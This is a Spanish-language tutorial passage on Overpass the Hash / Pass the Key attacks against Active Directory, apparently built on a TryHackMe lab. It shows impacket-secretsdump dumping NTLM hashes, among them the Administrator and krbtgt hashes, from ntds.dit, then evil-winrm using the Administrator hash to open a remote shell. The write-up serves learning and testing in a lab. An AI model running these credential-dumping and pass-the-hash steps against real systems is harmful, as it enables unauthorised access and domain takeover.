1 - Overpass The Hash / Pass The Key (PTK)
El ataque Pass The Hash (PTH) tradicional consiste en utilizar el hash de una contraseña para suplantar a un usuario sin necesidad de conocer su contraseña en texto claro. En el contexto de Kerberos, este enfoque se denomina Overpass The Hash o también Pass The Key.
En este ataque, si un atacante obtiene el hash NTLM de un usuario, puede derivar la clave de cifrado que Kerberos utiliza para ese usuario. A partir de allí, puede generar un mensaje de tipo KRB_AS_REQ
válido y solicitar un Ticket Granting Ticket (TGT) al KDC. Esto le permite autenticarse en el dominio como si fuese el usuario legítimo y obtener tickets para acceder a múltiples servicios.
Los hashes de los usuarios pueden obtenerse de distintas formas:
Extracción de los archivos SAM (en estaciones de trabajo) o NTDS.DIT (en controladores de dominio).
Dumping de memoria del proceso LSASS, usando herramientas como Mimikatz, donde también pueden encontrarse contraseñas en texto claro.
En el siguiente ejemplo ya comprometimos el equipo objetivo y logramos extraer los archivos SYSTEM
y ntds.dit
para luego realizar una extracción de hashes NTLM con impacket-secretsdump
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xf1582a79dd00631b701d3d15e75e59f6
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: f6162bb347993035d66a15417d73a667
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9689931bed40ca5a2ce1218210177f0c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HAVEN-DC$:1000:aad3b435b51404eeaad3b435b51404ee:c7e0bf27c637789e2b64a39e103a8a66:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fa3c456268854a917bd17184c85b4fd1:::
raz0rblack.thm\xyan1d3:1106:aad3b435b51404eeaad3b435b51404ee:bf11a3cbefb46f7194da2fa190834025:::
Este comando extrae hashes de contraseñas de Active Directory a partir de un volcado offline de:
el archivo
SYSTEM
(donde está la clave de arranque de Windows - bootKey)el archivo
ntds.dit
(la base de datos de AD)
Y usa el modo LOCAL
, que significa que los archivos están en el disco local, no se accede remotamente. De los hashes que obtuvimos el que vamos a usar es el de Administrator
, pero hay que tener en cuenta lo siguiente, que parte del hash vamos a usar
| Usuario | RID | LM Hash | NTLM Hash |
|------------------------|------|----------------------------------|---------------------------------|
| Administrator | 500 | aad3b435b51404eeaad3b435b51404ee | 9689931bed40ca5a2ce1218210177f0c|
| Guest | 501 | aad3b435b51404eeaad3b435b51404ee | 31d6cfe0d16ae931b73c59d7e0c089c0|
| HAVEN-DC$ | 1000 | aad3b435b51404eeaad3b435b51404ee | c7e0bf27c637789e2b64a39e103a8a66|
| krbtgt | 502 | aad3b435b51404eeaad3b435b51404ee | fa3c456268854a917bd17184c85b4fd1|
| raz0rblack.thm\\xyan1d3| 1106 | aad3b435b51404eeaad3b435b51404ee | bf11a3cbefb46f7194da2fa190834025|
¿Por qué se usa NTLM en Pass-the-Hash y no el LM?
LM (LAN Manager) es un algoritmo de hash antiguo y débil:
Fue diseñado en los años 80.
Divide la contraseña en bloques de 7 caracteres.
Convierte todo a mayúsculas.
Es extremadamente fácil de crackear y está obsoleto desde Windows Vista.
En la mayoría de sistemas modernos:
El LM hash está deshabilitado por defecto.
Se representa como
aad3b435b51404eeaad3b435b51404ee
cuando no está en uso.
NTLM es más moderno (aunque inseguro hoy en día):
Windows aún lo usa en muchos entornos para autenticación.
Es el hash que Windows realmente utiliza en protocolos como SMB, WinRM, RDP, etc.
Por eso, es el que se necesita para hacer Pass-the-Hash (PtH).
Si te interesa comprender mejor cómo funcionan estos hashes te recomiendo que leas el siguiente artículo
Una vez que tenemos el hash del usuario Administrator podemos hacer el Pass the Hash, en este caso usamos EvilWinRM pasandole el hash NTLM
con el parámetro -H
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# evil-winrm -i raz0rblack.thm -u administrator -H 9689931bed40ca5a2ce1218210177f0c
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator>
Este ataque no interviene específicamente en algún proceso de kerberos, sino que, a través del robo de hashes del equipo objetivo podemos ganar credenciales para obtener acceso privilegiado al sistema, luego con esa cuenta podríamos comunicarnos con el KDC para solicitar tickets de servicios, pero en esta sección no mostramos esa parte.
Last updated